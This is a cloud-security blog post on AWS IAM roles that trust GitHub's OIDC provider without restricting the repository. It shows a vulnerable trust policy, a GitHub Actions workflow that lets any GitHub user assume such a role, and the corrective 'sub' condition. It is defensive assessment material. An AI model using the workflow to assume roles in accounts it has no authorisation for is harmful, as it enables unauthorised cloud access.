AWS and GitHub OIDC Cross Account Roles
AWS and overly permissive GitHub OIDC cross-account role trust policies
Cloud Configuration assessments often include the underlying CI/CD/Devops environment. With the aim being to identify flaws in the source code management and/or deployment which could allow an internal or external attacker to gain access to pipelines and impact the integrity and privacy of the downstream or related services.
Something I have seen recently is the use of the "tokens.actions.githubusercontent.com" identity provider in AWS (as shown in the below screenshot) which allows GitHub Actions to assume a role in the account for the purposes of deploying infrastructure.
The following is an example of a cross-account role trust policy I have seen on engagements.
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Federated": "arn:aws:iam::123456789123:oidc-provider/token.actions.githubusercontent.com" }, "Action": "sts:AssumeRoleWithWebIdentity", "Condition": { "StringEquals": { "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" } } } ] }
Unfortunatly, when the role is configured in this way, without any conditons limiting access from specific repositories or projects, it means ANY Github user can assume the role and gain access to the underlying AWS account.
If you find a vulnerable IAM role, the following GitHub Actions YAML definition can be used from any github user account to the assume the role and leverage any policies afforded to it.
name: CI # Controls when the workflow will run on: # Triggers the workflow on push or pull request events but only for the "main" branch push: branches: [ "main" ] pull_request: branches: [ "main" ] # Allows you to run this workflow manually from the Actions tab workflow_dispatch: jobs: main: name: OpenID Connect (OIDC) IAM role runs-on: ubuntu-latest # note: permissions required to fetch OpenID Connect token and allow actions/checkout permissions: contents: read id-token: write steps: - name: assumerole uses: aws-actions/configure-aws-credentials@v3 with: audience: sts.amazonaws.com aws-region: eu-west-2 role-to-assume: arn:aws:iam::123456789123:role/github_actions_deploy_role # IAM role assumed via AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY/AWS_SESSION_TOKEN - name: whoami run: aws sts get-caller-identity
To ensure your cross-account roles are not vulnerable to this issue, add a condition to role limiting access from specific repositories like this:
"Condition": { "StringEquals": { "token.actions.githubusercontent.com:aud": "sts.amazonaws.com", "token.actions.githubusercontent.com:sub": "repo:octo-org/octo-repo:environment:prod" } }
I have also added a check for this to my AWS cloud auditing tool Snotra.